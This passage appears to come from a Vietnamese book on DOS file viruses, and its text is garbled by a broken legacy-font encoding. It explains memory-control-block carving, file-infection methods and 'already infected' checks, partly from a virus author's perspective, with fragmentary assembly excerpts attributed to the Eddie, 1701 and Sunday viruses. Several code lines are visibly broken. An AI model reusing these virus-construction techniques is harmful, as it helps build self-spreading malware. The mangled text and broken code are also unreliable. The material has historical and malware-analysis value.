                  arena header #4 

           Vïng nhí do MCB3 qu¶n lý 

              (xin cÊp ph¸t vïng nhí) 
                  arena header #3 

           Vïng nhí do MCB2 qu¶n lý 

               (chøa ch−¬ng tr×nh 2) 
                  arena header #2 

           Vïng nhí do MCB1 qu¶n lý 

               (chøa ch−¬ng tr×nh TSR) 
                  arena header #1 

  
b. C¸c øng dông trªn MCB: 

+ Mapping memory:  §� cã mét sè phÇn mÒm lµm chøc n¨ng nµy, tuy nhiªn Ýt ng−êi biÕt 
chóng lµm nh− thÕ nµo, còng nh− b»ng c¸ch nµo ta cã thÓ lÊy ®−îc phÇn tö MCB ®Çu tiªn 
trong chuçi MCB. §Ó lµm ®iÒu nµy, ta cã thÓ dïng nhiÒu c¸ch, nh−ng tèt nhÊt nªn sö dông 
mét chøc n¨ng Undocumented (kh«ng c«ng bè) cña DOS. Qua thùc nghiÖm, c¸c th¶o ch−¬ng 
viªn nhËn thÊy chÝnh DOS còng dïng chøc n¨ng 52h cña ng¾t 21h ®Ó lÊy ®Þa chØ cña b¶ng 
tham sè riªng cña DOS cã tªn DIB (DOS info block) . Mét trong c¸c cÊu tróc néi t¹i cña DOS 
mµ kh«ng cã mét tµi liÖu nµo ®Ò cËp ®Õn chi tiÕt. M« t¶ chøc n¨ng nay nh− sau : 
      Vµo:    AH=52h 
      Ra:     ES:BX trá ®Õn cÊu tróc DIB nµy. 
§Ó kh«ng mÊt thêi giê, chóng ta chØ quan t©m ®Õn vÞ trÝ cña MCB ®Çu tiªn trªn b¶ng tham sè 
nµy (nh÷ng tham sè kh¸c nÕu ai quan t©m ®Õn cã thÓ tù m×nh tham kh¶o qua tµi liÖu System 
programming for developer - tuy nhiªn còng ch−a ®−îc ®Çy ®ñ th«ng tin l¾m). §Þa chØ nµy 
n»m ë offset -4 trong b¶ng . C¸c MCB tiÕp theo sÏ ®−îc tÝnh b»ng c¸ch céng kÝch th−íc cña 
khèi MCB tr−íc ®ã thªm 1 (1 lµ kÝch th−íc cña MCB theo ®o¹n). 
§o¹n ch−¬ng tr×nh sau minh häa c¸ch duyÖt qua c¸c MCB trong vïng nhí 
; LÊy ®Þa chØ MCB ®Çu tiªn 
  mov  AH, 052h 
  int  21h      ;ES:BX trá vµo DIB 
  les  BX, ES:[BX-1]    ;ES:BX trá vµo MCB ®Çu tiªn  
Next: 
; In ra lÇn l−ît c¸c phÇn tö cña MCB 
 mov  AL, ES:byte ptr [0]   ;LÊy ID MCB 
 cmp  AL, 05Ah     ;§� lµ phÇn tö cuèi 
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 je  ok 
 mov  AX, ES: word ptr [1]   ;AX = kÝch th−íc MCB 
 mov  BX, ES: word ptr [3]   ;BX = PSP  
 push  BX 
 call  Print_MCB     ;In MCB ra 
 pop  BX 
 mov  AX, ES 
 inc  AX      ;TÝnh MCB kÕ 
 add  AX, BX 
 mov  ES, AX 
 jmp  Next 
ok: 
  call  Print_MCB 
 int  20h 
Print_MCB proc near 
; PhÇn nµy c¸c b¹n sÏ tù thiÕt kÕ 
Print_MCB endp  
 
+ Pickup memory:  NÕu biÕt râ cÊu tróc MCB, ta cã thÓ “t¸ch “mét phÇn vïng nhí ra khái tÇm 
kiÓm so¸t cña DOS. Kü thuËt nµy còng ®ßi hái ph¶i kÕt hîp víi cÊu tróc PSP nÕu c¸c b¹n cßn 
nhí r»ng gi¸ trÞ word ë offset 2 ph¶n ¸nh gi¸ trÞ cña segment tiÕp theo cßn dïng ®−îc. 
C¸c b−íc t¸ch cã thÓ tiÕn hµnh theo c¸c b−íc sau: 
      - T¹o MCB cuèi cïng (trong tr−êng hîp ch−¬ng tr×nh kh«ng dïng hÕt vïng nhí). 
      - §Æt l¹i kÝch th−íc vïng nhí mµ MCB cuèi cïng ®ang qu¶n lý xuèng mét kÝch th−íc tïy 
ý. 
      - Gi¶m t−¬ng øng gi¸ trÞ t¹i PSP:2 mét l−¬ng t−¬ng tù. 
§o¹n ch−¬ng tr×nh sau minh häa kü thuËt nµy. 
; Gi¶ sö trá ®Õn PSP, kÝch th−íc cÇn gi¶m 0100 ®o¹n 
 mov  AX, DS  
  dec  AX 
 mov  ES, AX     ;ES trá ®Õn MCB 
  cmp  ES: byte ptr [0], 05Ah  ;Lµ phÇn tö cuèi cïng ch−a 
 je  xuli 
; T¹o MCB sau cïng 
  push  BX 
 mov   AH, 048h 
  mov  BX, 0FFFFh 
 int  21h 
 cmp  BX, 0100h    ;KÝch th−íc cßn l¹i cã ®ñ 100h ? 
  jb  error 
 mov  AH, 048 
  int  21h      ;Xin cÊp ph¸t hÕt vïng nhí  
 pop  BX      ;®Ó t¹o MCB cuèi 
  jb  error 
 dec   AX 
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  mov  ES, AX     ;ES trá ®Õn MCB cuèi nµy 
 cli 
  mov  ES: word ptr [1], 0   ;Cßn dïng ®−îc 
 cmp  byte ptr [0], 05Ah    ;Cã ph¶i lµ phÇn tö cuèi kh«ng ? 
  jne  error 
 add  AX, ES: word ptr [3]   ;AX trá ®Õn MCB kÕ 
  inc  AX 
 mov  ES: word ptr [12h], AX   ;§Æt l¹i PSP 
xuli:  
 mov  AX, ES: word ptr [3]   ;AX= tæng memory 
  sub  AX, 100h     ;Bít ®i vïng nhí cÇn t¸ch 
 jb  error      ;Kh«ng thÓ gi¶m ®−îc 
  mov  ES: word ptr [3], AX   ;§Æt l¹i kÝch th−íc 
 sub  ES: word ptr [012h], 100h 
  ........ 
error: 
(TrÝch Eddie virus) 
 
Tuy nhiªn, mét ®Æc ®iÓm næi bËt, vïng MCB bÞ t¸ch rêi nµy lu«n n»m ë vïng nhí cao nhÊt. 
NÕu dïng mét phÇn mÒm Mapmem nµo cã thÓ ph¸t hiÖn ra ®iÒu nµy (cã thÓ  dïng CHKDSK) . 
TÊt c¶ nh÷ng th«ng tin nµy còng chØ lµ phÇn c¬ b¶n mµ t«i cè g¾ng cung cÊp ®Ó c¸c ®éc gi¶ cã 
thÓ tù m×nh ph©n tÝch ®−îc c¸c kÜ thuËt cña mét F-virus mµ chóng ta sÏ ph©n tÝch ë ch−¬ng 
sau. Nh÷ng th«ng tin chi tiÕt cã thÓ t×m thÊy trong c¸c tµi liÖu tham kh¶o. 
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F- VIRUS 
 
 

 
 
Mét d¹ng virus kh¸c ®−îc ®Ò cËp d−íi tªn gäi F - virus víi sè l−îng v« cïng ®«ng ®¶o vµ tÝnh 
ph¸ ho¹i ®a d¹ng ®−îc nhiÒu ng−êi chó ý h¬n B - virus . MÆt kh¸c dÔ thÊy trong m«i tr−êng 
d−íi DOS, c«ng viÖc cã vÎ tho¶i m¸i h¬n, nhÊt lµ nh÷ng t¸c vô ®Üa, do ®ã lµ mét ®iÒu kiÖn tèt 
cho virus ph¸t triÓn. C¸c b¹n sÏ b¾t ®Çu lµm quen víi F - virus qua viÖc kh¶o s¸t sù l©y lan cña 
chóng. 
 
 

I - Ph−¬ng ph¸p l©y lan. 

Nh− tªn gäi, F - virus (File virus), virus chØ l©y lan trªn c¸c file thi hµnh ®−îc (.EXEcutive 
able file), tuy r»ng ®iÒu nµy còng kh«ng h¼n v× ®� cã tr−êng hîp file ®¬n thuÇn lµ d÷ liÖu 
(d¹ng .DBF cña foxbase ch¼ng h¹n) còng bÞ l©y. XÐt tõ quan ®iÓm nh÷ng file bÞ nhiÔm file l©y 
lan ®−îc, ®iÒu nµy còng vÉn ®óng. 
Gièng nh− mét nguyªn t¾c bÊt di bÊt dÞch cña B - virus, F - virus còng ph¶i tu©n theo nh÷ng 
nguyªn t¾c sau: QuyÒn ®iÒu khiÓn ph¶i n»m trong tay virus tr−íc khi virus tr¶ nã l¹i cho file bÞ 
nhiÔm, TÊt c¶ c¸c d÷ liÖu cña file ph¶i ®−îc b¶o toµn sau khi quyÒn ®iÒu khiÓn thuéc vÒ file. 
Cho ®Õn nay, F - virus chØ cã vµi c¸ch l©y lan cho file, mµ ta sÏ gäi lµ file ®èi t−îng, Ta sÏ lÇn 
l−ît xÐt qua c¸c ph−¬ng ph¸p nµy ®Ó thÊy −u còng nh− khuyÕt ®iÓm cña nã. 
1/ ChÌn ®Çu: Th«ng th−êng ph−¬ng ph¸p nµy chØ ¸p dông víi c¸c file .COM nghÜa lµ ®Çu vµo 
ch−¬ng tr×nh lu«n ë PSP:100h. Lîi dông ®Çu vµo cè ®Þnh, virus sÏ chÌn vµo ®o¹n m� ch−¬ng 
tr×nh virus (mµ ta sÏ gäi lµ Progvi) vµo ®Çu ch−¬ng tr×nh ®èi t−îng, ®Èy toµn bé ch−¬ng tr×nh 
®èi t−îng xuèng phÝa d−íi. 
Cã thÓ minh häa b»ng h×nh sau : 
 
      File ch−a bÞ nhiÔm    File ®� bÞ nhiÔm 
 

       .COM      Virus    .COM 

                                                         
                      §Çu vµo     §Çu vµo   
  

−u ®iÓm: Progvi rÊt dÔ viÕt v× thùc chÊt nã lµ mét file d¹ng .COM. MÆt kh¸c, sÏ g©y khã kh¨n 
cho vÊn ®Ò kh«i phôc file v× ®ßi hái ph¶i ®−îc ®äc toµn bé file bÞ nhiÔm vµo vïng nhí råi tiÕn 
hµnh ghi l¹i. 
KhuyÕt ®iÓm :Tr−íc khi tr¶ quyÒn ®iÒu khiÓn l¹i cho file ph¶i ®¶m b¶o ®Çu vµo lµ PSP:100h, 
do ®ã ph¶i chuyÓn tr¶ l¹i toµn bé ch−¬ng tr×nh lªn b¾t ®Çu tõ offset 0100h. 
Nh÷ng ch−¬ng tr×nh ®äc l¹i chÝnh m×nh (COMMAND.COM ch¼ng h¹n) mµ offset cÇn ®äc r¬i 
vµo Progvi sÏ dÉn ®Õn sai l¹c logic ch−¬ng tr×nh. ChØ lÊy ®−îc trªn c¸c file cã ®Çu vµo cè ®Þnh 
(.COM hay .BIN) vµ ®iÒu quan träng: kÝch th−íc file t¨ng lªn ®óng b»ng kÝch th−íc Progvi. 
 2/ Append file: Ph−¬ng ph¸p nµy ®−îc thÊy trªn hÇu hÕt c¸c lo¹i F - virus v× ph¹m vi l©y 
lan cña nã réng r�i h¬n ph−¬ng ph¸p trªn. Theo ph−¬ng ph¸p nµy Progvi sÏ ®−îc g¾n ngay sau 
ch−¬ng tr×nh ®èi t−îng, Do progvi kh«ng n»m ®óng ®Çu vµo ch−¬ng tr×nh nªn nã ph¶i : 
 + §èi víi file d¹ng .COM hay .BIN:  thay c¸c byte ë entry vµo cña ch−¬ng tr×nh b»ng mét 
lÖnh JMP, chuyÓn quyÒn ®iÒu khiÓn tõ entry vµo ®Õn ®o¹n m� cña progvi . 
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 0E9 xx xx  Entry_virus  
 + §èi víi file d¹ng .EXE:  chØ cÇn ®Þnh vÞ l¹i c¸c gi¸ trÞ SS, SP, CS, IP trong .EXE header 
. Cã thÓ minh häa b»ng c¸ch vÏ sau : 
 
 
  File ch−a bÞ nhiÔm    File ®� bÞ nhiÔm 
 

       .COM      Virus    .COM 

                                                         
                      §Çu vµo           §Çu vµo  
 

−u ®iÓm: L©y lan trªn mäi lo¹i file thi hµnh ®−îc, th−êng lµ COM/.EXE/BIN/OVL ... mÆt 
kh¸c, sù x¸o trén d÷ liÖu trªn file kh«ng ®¸ng kÓ. ViÖc ®o¹t quyÒn ®iÒu khiÓn trªn file .COM 
chØ cÇn 3 byte cho mét lÖnh nh¶y. 
KhuyÕt ®iÓm: §Ó kh«i phôc, chØ cÇn ®Þnh vÞ d÷ liÖu cò ®Ó tr¶ l¹i, kh«ng cÇn ph¶i ghi l¹i toµn 
bé ch−¬ng tr×nh . Khã ®Þnh vÞ ch−¬ng tr×nh virus v× kÝch th−íc file ®èi t−îng lµ bÊt k×. KÝch 
th−íc file thay ®æi, t¨ng lªn mét ®o¹n b»ng (hoÆc chªnh lÖch 16 byyte ®èi víi file lo¹i .EXE). 

 3/ Overwrite: Nh−îc ®iÓm cña hai ph−¬ng ph¸p trªn ®Òu ë chç lµm t¨ng kÝch th−íc file. 
§©y lµ mét yÕu tè kiªn quyÕt ®Ó ph¸t hiÖn ra virus . Ph−¬ng ph¸p nµy ®Ò ra ®Ó kh¾c phôc hai 
ph−¬ng ph¸p trªn, tuy nhiªn hÇu nh− chØ cã 1, 2 virus ®� biÕt lµ dïng ph−¬ng ph¸p nµy (trong 
®ã cã 1 cña ViÖt Nam). Theo ph−¬ng ph¸p nµy, virus sÏ t×m mét vïng trèng trong file ®èi 
t−îng (cã thÓ lµ stack hoÆc buffer) ®Ó ghi ®Ì ch−¬ng tr×nh virus vµo. Tr−êng hîp buffer ë cuèi 
file nhá, cã thÓ thõa ra mét ®o¹n ch−¬ng tr×nh virus lµm kÝch th−íc file t¨ng lªn kh«ng ®¸ng 
kÓ. 
Tuy nhiªn, ph−¬ng ph¸p nµy l¹i gÆp nhiÒu trë ng¹i, §Çu tiªn, buffer võa ®ñ cho kÝch th−íc 
progvi kh«ng ph¶i lµ dÔ t×m, nÕu nh− kh«ng nãi lµ rÊt hiÕm, ®� vËy, nÕu ®©y l¹i lµ gi¸ trÞ h»ng 
cña ch−¬ng tr×nh, l¹i lµm thay ®æi logic ch−¬ng tr×nh. KÕ ®Õn, ph−¬ng ph¸p nµy còng chØ l©y 
®−îc trªn c¸c file COM/BIN mµ th«i. 

 

 

II - Ph©n lo¹i : 

§� cã qu¸ nhiÒu c¸ch ®Ó ph©n lo¹i virus, còng nh− c¸ch ®Æt tªn, Tuy nhiªn, ®Ó cã mét c¸ch 
khoa häc cho viÖc ph©n lo¹i th× ch−a. 
Mét sè n¬i ®� ph©n lo¹i virus thµnh hai lo¹i: lo¹i l©y trªn file .COM vµ l©y trªn file .EXE. 
§iÒu nµy dÉn ®Õn nghÞch lÝ, nÕu mét virus ®−îc l©y trªn hai lo¹i file sÏ ®−îc tÝnh thµnh hai, do 
®ã gãp phÇn t¨ng sè l−îng virus diÖt ®−îc. MÆt kh¸c, nh÷ng file .BIN, .OVL ®� bÞ nhiÔm sÏ do 
virus lo¹i g× ? Ch¼ng nhÏ l¹i t¨ng thªm lo¹i virus ®Ó mét virus ®−îc tÝnh thµnh 4. §ã lµ ch−a 
kÓ nh÷ng file cã phÇn më réng kh¸c nh−ng vÉn thi hµnh ®−îc vµo. Do ®ã, c¸ch ph©n lo¹i nµy 
kh«ng thuyÕt phôc ®−îc ng−êi quan t©m ®Õn virus. 
Mét c¸ch ph©n lo¹i kh¸c cã thÓ chia virus thµnh 3 lo¹i dùa vµo ph−¬ng ph¸p l©y lan. Tuy 
nhiªn, ph−¬ng ph¸p nµy còng kh«ng ph¶n ¸nh ®−îc ®iÒu g× cho virus c¶. 

 1/ TF - Virus (Transient File virus): Virus thuéc lo¹i nµy kh«ng th−êng tró, kh«ng chiÕm 
ng¾t, khi ®−îc trao quyÒn nã sÏ t×m mét hoÆc nhiÒu file kh¸c ®Ó l©y. C¸ch viÕt progvi kiÓu nh− 
vËy kh¸c h¼n lo¹i 2. 

 2/ RF - Virus (Resident file virus): Virus lo¹i nµy th−êng tró b»ng c¸c kÜ thuËt kh¸c 
nhau, chi phèi ng¾t (Ýt nhÊt lµ ng¾t 21h), khi ng¾t nµy ®−îc thi hµnh øng víi nh÷ng chøc n¨ng 
x¸c ®Þnh, file sÏ bÞ l©y. 
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Còng vÒ sau nµy, RF - Virus ®� lîi dông thÕ m¹nh cña TF - Virus trong viÖc t×m kiÕm file ®Ó 
l©y lan. Dï vËy, nã vÉn lµ RF - Virus, nh−ng lµ mét smart virus (virus tinh kh«n). 
 
 

III - CÊu Tróc Chu¬ng Tr×nh Virus . 

Hai lo¹i virus trªn cã cÊu tróc progvi hoµn toµn kh¸c nhau v× sö dông nh÷ng kÜ thuËt kh¸c 
nhau. 
 1/ TF - virus: CÊu tróc progvi t−¬ng ®«i ®¬n gi¶n, chia lµm 3 phÇn:  l©y lan, ph¸ ho¹i vµ 
buffer. 
 + PhÇn l©y lan cã thÓ tæng qu¸t nh− sau:          
 
            Not Fount 
   L©y          T×m file       Ph¸  
 
   Ph¸     NhiÔm 
                Tr¶ l¹i d÷ liÖu  
   Buffer     
         L©y 
 
                              Tr¶ quyÒn ®iÒu khiÓn  
                  
 + PhÇn ph¸ ho¹i:  Th−êng theo phÇn l©y lan. 
 + PhÇn buffer:  Chøa c¸c biÕn néi t¹i cña progvi, c¸c d÷ liÖu cña ch−¬ng tr×nh ®èi t−îng, 
c¸c d÷ liÖu nµy sÏ ®−îc kh«i phôc cho file tr−íc khi quyÒn ®iÒu khiÓn tra cho ch−¬ng tr×nh ®èi 
t−îng.  
 2/ RF - virus: Do chiÕm ng¾t vµ ®−îc “pop up “khi cÇn thiÕt, RF - virus ®−îc thiÕt kÕ nh− 
1 TSR program (ch−¬ng tr×nh th−êng tró), nghÜa lµ, progvi ®−îc chia 2 phÇn:  PhÇn install vµ 
PhÇn th©n ch−¬ng tr×nh. PhÇn th©n cã cÊu tróc t−¬ng tù nh− TF - virus, nghÜa lµ còng cã 3 
phÇn nhá h¬n phô tr¸ch c¸c c«ng viÖc kh¸c nhau:  l©y lan, ph¸ ho¹i, chøa d÷ liÖu. 
      

       PhÇn install 

             L©y 

             Ph¸ 

          Buffer 

 
  PhÇn install quan träng, nã  cã thÓ kh¸i qu¸t nh− sau: 
 
        §� tån t¹i trong vïng nhí  ? 
    
         No  
      install ng¾t vµ th−êng tró          Yes  
 
                
Ph¸ ho¹i 
 
         Tr¶ l¹i d÷ liÖu 



www.updatesofts.com 

 73 

 
       
     Tr¶ quyÒn ®iÒu khiÓn  
  
 

IV - C¸c Yªu CÇu Cho Mét F - Virus. 

 1/ TÝnh tån t¹i duy nhÊt: Còng nh− B virus, viÖc kiÓm tra nµy b¶o ®¶m cho virus cã mÆt 
chØ mét lÇn trong vïng nhí, trªn file ( tÊt nhiªn ta kh«ng xÐt ®Õn tr−êng hîp nhiÒu virus tÊn 
c«ng mét file). 
Yªu cÇu nµy kh«ng ®¶m b¶o sÏ lµm gi¶m thêi gian thi hµnh file khi trong vïng nhí cã qu¸ 
nhiÒu b¶n sao cña mét virus, còng nh− kÝch th−íc cña file t¨ng lªn qu¸ nhanh dÔ bÞ ph¸t hiÖn 
vµ còng lµm t¨ng thêi gian n¹p file. 
 2/ TÝnh l©y lan: Lµ yªu cÇu b¾t buéc, ®¶m b¶o cho sù tån t¹i vµ ph¸t triÓn cña virus vµ 

míi ®−îc gäi lµ virus. ë ®©y, ta kh«ng ®Ò cËp ®Õn l©y lan mµ nãi ®Õn tèc ®é l©y. Mét virus 
“kháe “ph¶i cã tèc ®é l©y nhanh vµ do ®ã míi b¶o ®¶m tÝnh tån t¹i. 

 3/ TÝnh ph¸ ho¹i: TÝnh ph¸ ho¹i ®«i khi chØ do ngÉu nhiªn khi logic progvi kh«ng dù trï 
hÕt c¸c tr−êng hîp cã thÓ x¶y ra, hoÆc do cè ý, nh−ng cè ý mµ kh«ng l−êng hÕt hËu còng dÉn 
®Õn tai häa v« cïng khñng khiÕp. 
ViÖc ph¸t hiÖn F - virus ®¬n gi¶n h¬n B - virus rÊt nhiÒu. BÊt k× sù t¨ng kÝch th−íc nµo trªn file 
thi hµnh ®−îc (tÊt nhiªn kh«ng ph¶i nh÷ng file võa ®−îc dÞch tõ Assembler sang) tõ 1k - 5k 
®Òu cã thÓ kÕt luËn chÝnh x¸c 90% lµ file bÞ nhiÔm virus. 
Do ®ã, virus lµm sao ph¶i cã ®−îc mét kÜ thuËt ngôy trang khÐo lÐo ®Ó ®¸nh lõa ®−îc hiÖn 
t−îng nµy. MÆt kh¸c, progvi d¹ng F quen thuéc víi c¸c TCV h¬n lo¹i B v× thùc chÊt nã còng 
nh− c¸c ch−¬ng tr×nh kh¸c ch¹y d−íi DOS. Do ®ã viÖc ch¹y ®ua ®� diÔn ra gi÷a viÖc g©y khã 
kh¨n cho qu¸ tr×nh theo dâi vµ cè theo dâi ®Ó ph¸t hiÖn c¸ch ph¸ ho¹i nh»m kh¾c phôc. 

 5/ TÝnh th−êng tró: ChØ quan träng ®èi víi lo¹i RF - virus, tuy nhiªn, sè l−îng RF - virus 
kh¸ ®«ng ®¶o nªn nã ®−îc nªu nh− mét yªu cÇu. 

6/ TÝnh kÕ thõa: §iÒu nµy Ýt thÊy ë B - virus, F - virus cã tõng “hä “, c¸c version sau lu«n 
kh¾c phôc nh÷ng yÕu ®iÓm cña b¶n “version “tr−íc, ®Æc biÖt cã ®Æc ®iÓm thay thÕ b¶n cò b¶n 
míi h¬n. §iÒu nµy t¹o sù thó vÞ cho c¸c nhµ nghiªn cøu. Cã thÓ kÓ ra hä Yankee, Vacsina ... 
 
 

V - Ph©n TÝch KÜ ThuËt. 

 1/ KiÓm tra tÝnh tån t¹i: 

a. Trong vïng nhí:  ChØ cã RF - virus míi ¸p dông kÜ thuËt nµy. Cã nhiÒu c¸ch kiÓm tra, tuy 
nhiªn, c¸c c¸ch sau th−êng hay gÆp: 
  + T¹o thªm chøc n¨ng cho DOS, ®Ó kiÓm tra tÝnh tån t¹i chØ cÇn gäi chøc n¨ng nµy. 
Cã thÓ biÕn b»ng c¸ch t¹o subfunction (chøc n¨ng con) cho mét chøc n¨ng cña DOS. Gi¸ trÞ 
trong thanh ghi sÏ quyÕt ®Þnh sù tån t¹i cña virus hay ch−a. §iÒu nµy dùa vµo sù kiÖn, nÕu gäi 
mét chøc n¨ng lín h¬n chøc n¨ng cao nhÊt mµ DOS cã, gi¸ trÞ AX tr¶ vÒ sÏ lµ 0. 
§o¹n m� sau kiÓm tra tÝnh n¨ng cña virus 1701: t¹o subfunction FFh trong chøc n¨ng 4BH cña 
DOS. Gi¸ trÞ tr¶ vÒ trong DI lµ 55AAh cho biÕt virus ®� tån t¹i. 
; §o¹n nµy trong phÇn install. 
  mov  AX, 04BFFh 
  xor  DI, DI 
  xor  SI, SI 
  int  21h 
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  cmp  DI, 55AAh 
  jne  install 
  jmp  exit 
 
  ...................... 
; §o¹n m� nµy trong phÇn th©n 
 entry_int21: 
  cmp  AH, 4BH 
  je  cont_1 
  jmp  ........ 
 test: 
  mov  DI, 055AAh 
  .......... 
  iret 
 cont_1: 
  cmp  AL, FFh 
  je  test 
(1701 virus) 
  + So s¸nh 1 ®o¹n m� trong vïng nhí víi chÝnh nã, mét sù chªnh dï chØ 1 byte ®Òu 
dÉn ®Õn l©y lan. 
(Gi¶ sö ES:AX:  ®Þa chØ ng¾t 21h, SI trá ®Õn ®Çu ch−¬ng tr×nh progvi) 
  push  ES 
  pop  DS      ; DS:81:  ®Çu progvi 
  cmp  AX, 02EFh    ; offset ng¾t 21h cã ®óng lµ cña virus 
  jne  install 
  xor  DI, DI     ; ES:DI:  §o¹n m� nghi ngê lµ Progvi 
 mov  CX, 6EFh     ; So s¸nh 6EFh byte 
 Test: 
  lodsb 
  scasb 
  jne  install     ; Sai mét byte còng dÉn ®Õn viÖc install 
  loop  test 
  .............. 
  jmp  exit 
install: 
  .............. 
(trÝch Eddie virus) 
 
b. Trªn file:  Cã thÓ cã c¸c c¸ch kiÓm tra sau: 

  KiÓm tra b»ng kÝch th−íc . 
  KiÓm tra b»ng keyvalue. 
  KiÓm tra b»ng c¸ch dß ®o¹n m�. 
  + KiÓm tra b»ng kÝch th−íc: §−îc ¸p dông trong nh÷ng virus ®Çu tiªn, tuy ®é chÝnh 
x¸c  cña nã kh«ng cao vµ mÆt kh¸c còng kh«ng kiÓm tra ®−îc version cña nã, Tuy nhiªn, viÖc 
kiÓm tra nhanh vµ kÕt qu¶ phô trong qu¸ tr×nh kiÓm tra cã thÓ ®−îc dïng vÒ sau nªn nã ®−îc 
−a chuéng. 
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; Gi¶ sö file ®� ®−îc më 
  push  CS 
  pop  DS 
  mov  DX, offset my_buffer 
  mov  CX, 3 
  int  21h       ; §äc 3 byte ®Çu vµ buffer 
  jb  error       ; GÆp lçi 
  cmp  AX, CX      ; Sè byte ®äc cã ®óng kh«ng ? 
  jne  error 
  mov  AX, 4202h 
  xor  CX, CX 
  xor  DX, DX 
  int  21h       ; Dêi cuèi file ®Ó lÇy kÝch th−íc file 
  mov  filesize_off , AX 
  mov  filesize_seg, DX    ; KÕt qu¶ cã thÓ dïng vÒ sau 
  mov  AH, 3.EXE header 
  int  21h       ; §ãng file 
  cmp  my_buffer [0], 05A4DH   ; File .EXE ? 
  jne  cont_0 
  jmp  exit 
cont_0: 
  cmp  filesize_seg, 0      ; KÝch th−íc file cã lín h¬n 64Kb 
  ja   exit 
  cmp  filesize_off, 0F93BH    ; Filesize byte ? 
  jbe  cont_1 
  jmp  exit       ; Thãat nÕu lín h¬n 
 cont_1: 
  cmp  my_buffer[0], 0E9h    ; Cã ph¶i lµ lÖnh nh¶y nÕu file cã thÓ lµ 
virus 
  jne  lay 
  mov  AX, filesize_off  
  add  AX, 0F959     ; Trõ kÝch th−íc file cho 1703 byte 
  cmp  AX, my_buffer[1]    ; 3 byte cho lÖnh nh¶y 
  je  exit       ; NÕu gi¸ trÞ nµy b»ng gi¸ trÞ lÖnh nhÈy nghÜa 
lµ  
           ; kiÓm tra lµ ®óng 
 lay: 
  ................ 
 exit: 
  ................ 
error:  
  ................ 
(TrÝch 1701 virus) 
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  + §Ó kh¾c phôc kÜ thuËt nµy, c¸c Hacker ®� nªu ra c¸ch kiÓm tra b»ng ®o¹n m� 
keyvalue: gåm vµi byte (th−êng lµ 5 byte) vµo nh÷ng byte cuèi cïng cña file. C¸c byte 
keyvalue nµy cã thÓ cho biÕt version cña virus ch¼ng h¹n. ¦u ®iÓm cña ph−¬ng ph¸p nµy lµ ¸p 
dông ®−îc víi mäi file. §o¹n ch−¬ng tr×nh sau m« t¶ viÖc kiÓm tra, sè l−îng keyvalue cña 
kiÓm tra nµy lµ 5 cã gi¸ trÞ 0C8h, 0F7h, 0E1h, vµ 0E7h. 
; Gi¶ sö ES:DX lµ ASCIIZ tªn file  
; më file ®Ó ®äc 
  mov  AX, 03D04h 
  int  21h 
  jb  exit 
  mov  filehandler, AX    ; CÊt file handlÎ 
  mov  BX, AX 
  mov  AX, 4202h 
  mov  CX, -1 
  mov  DS, -5 
  int  21h      ; Dêi ®Õn 5 byte cuèi cïng 
  add  AX, 5 
  mov  filesize, AX 
  mov  CX, 5 
  mov  DX, offset my_buffer 
  mov  AX, CS 
  mov  DS, AX 
  mov  AH, 3Fh 
  int  21h      ; §äc 5 byte cuèi file vµo my_buffer 
; KiÓm tra my_buffer 
  mov  DI, DX     : ES:DI - My_buffer 
  mov  SI, scanbuffer    : DS:DI - buffer cÇn so s¸nh 
  repne cmpsb 
  jne  lay 
  mov  AH, 3Eh  
  int  21h      ; §ãng file 
  .......... 
 lay: 
  scanbuffer  db  0C8h, 0F7h, 0E1h, 0E7h 
  my_buffer  db 5 dup (0) 
 (TrÝch Sunday virus) 
 
  + §èi víi mét sè lo¹i virus, viÖc kiÓm tra nµy ®−îc ®Æt ra hµng ®Çu, do ®ã, nã ®ßi hái 
ph¶i so s¸nh c¶ mét ®o¹n m� thËt lín. VÒ sau ph−¬ng ph¸p nµy kh«ng ®−îc −u chuéng v× nã 
lµm gi¶m tèc ®é thi hµnh file. §o¹n ch−¬ng tr×nh sau minh ho¹: 
;Gi¶ sö con trá file ®ang ®Þnh vÞ ®Õn ®o¹n nghi ngê lµ ®Çu vµo virus 
  mov  DI, offset My_buffer 
  mov  SI, DX 
  mov  CX, 06EFh 
  mov  AH, 3     ;§äc file, 6EFh byte 
  int  21h 
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  jb  lay      ;Sai còng l©y 
  cmp  AX, CX 
  jne  lay      ;§äc thiÕu byte còng l©y 
  xor  DI, DI 
 Next: 
  lodsb 
  scasb       ; Dß sai mét byte còng l©y 
  jne  lay 
  loop  next 
  ret 
(TrÝch Eddie virus). 
 
 2/ KÜ thuËt l©y lan: Hai lo¹i virus cã hai c¸ch l©y lan hoµn toµn kh¸c nhau, do ®ã kÜ thuËt 
l©y lan còng sÏ ®Ò cËp thµnh 2 phÇn t−¬ng øng. Tuy vËy, vÉn cã nh÷ng phÇn chung mµ c¶ hai 
lo¹i ®Òu ph¶i dïng. 
a. C¸c kÜ thuËt chung trªn file: Dï virus lo¹i RF hay TF, ®èi t−îng l©y lan cña chóng vÉn lµ 
file. Do ®ã, c¸c ph−¬ng ph¸p ®Þnh vÞ, tÝnh kÝch th−íc file .... ®Òu gièng nhau. §Ó cã thÓ truy 
xuÊt file, virus ph¶i dù trï c¸c tr−êng hîp sau cã thÓ x¶y ra . §ã lµ : 
Mét file ®−îc më víi chÕ ®é ®äc/ghi ph¶i b¶o ®¶m kh«ng cã thuéc tÝnh Sys (hÖ thèng), hoÆc 
Read only (chØ ®äc), hoÆc Hidden (Èn). Do ®ã cÇn ph¶i ®æi l¹i thuéc tÝnh file khi cÇn thiÕt ®Ó 
cã thÓ truy nhËp. MÆt kh¸c, khi mét file ®−îc cËp nhËt, ngµy giê cËp nhËt còng ®−îc ®−a vµo, 
do ®ã, lµm thay ®æi gi¸ trÞ ban ®Çu cña file. §«i khi l¹i t¹o ra lçi cho file nµy (nÕu ®ã còng lµ 
c¸ch kiÓm tra cña file). §Ó kh¾c phôc hai lçi nµy, c¸ch tèt nhÊt lµ nªn ®æi l¹i thuéc tÝnh file, 
l−u gi÷ ngµy th¸ng t¹o file ®Ó råi sau ®ã tr¶ l¹i ®Çy ®ñ thuéc tÝnh ban ®Çu cho chóng. 
MÆt kh¸c, mét ®Üa mÒm cã nh�n b¶o vÖ, nÕu cè g¾ng ghi lªn file còng sÏ t¹o lçi. NÕu kh«ng 
xö lÝ lçi nµy, thËt lµ trí trªu nÕu chØ thi hµnh mét file ®¬n gi¶n còng ®−a l¹i lêi b¸o lçi cña 
DOS:  
 “Write on protect disk. 
Retry - abort - ignore ? “  
.... l¾m lóc dÔ bÞ ph¸t hiÖn. Lçi nµy ®−îc DOS kiÓm so¸t b»ng ng¾t 24h. Do ®ã, ph−¬ng ph¸p 
